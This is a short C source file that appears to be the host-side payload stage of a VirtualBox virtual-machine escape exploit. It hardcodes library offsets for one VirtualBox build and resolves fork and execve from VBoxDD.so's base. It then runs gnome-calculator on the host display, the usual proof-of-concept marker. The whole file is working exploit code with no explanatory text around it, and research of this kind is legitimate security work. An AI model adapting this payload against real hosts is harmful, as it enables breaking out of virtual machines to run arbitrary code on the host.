#include <stdint.h>
#include <stdlib.h>

#define RELEASE

#ifdef RELEASE  // r158379

// VBoxRT.so

#define FORK 0x89690
#define EXECVE 0x89b30
#define RT_FILE_QUERY_SIZE 0x2370f0

// VBoxDD.so

#define RT_FILE_QUERY_SIZE_PLT 0x570028

#endif

void main(uintptr_t VBoxDD_base) {
  char calc[] = "/usr/bin/gnome-calculator";
  char display[] = "DISPLAY=:0.0";

  uintptr_t VBoxRT_base =
      *(uintptr_t *)(VBoxDD_base + RT_FILE_QUERY_SIZE_PLT) - RT_FILE_QUERY_SIZE;
  int (*fork)(void) = (void *)(VBoxRT_base + FORK);
  int (*execve)(const char *filename, char *const argv[], char *const envp[]) =
      (void *)(VBoxRT_base + EXECVE);

  int pid = fork();
  if (pid == 0) {
    char *argv[2] = {calc, NULL};
    char *envp[2] = {display, NULL};
    execve(argv[0], argv, envp);
  }
}
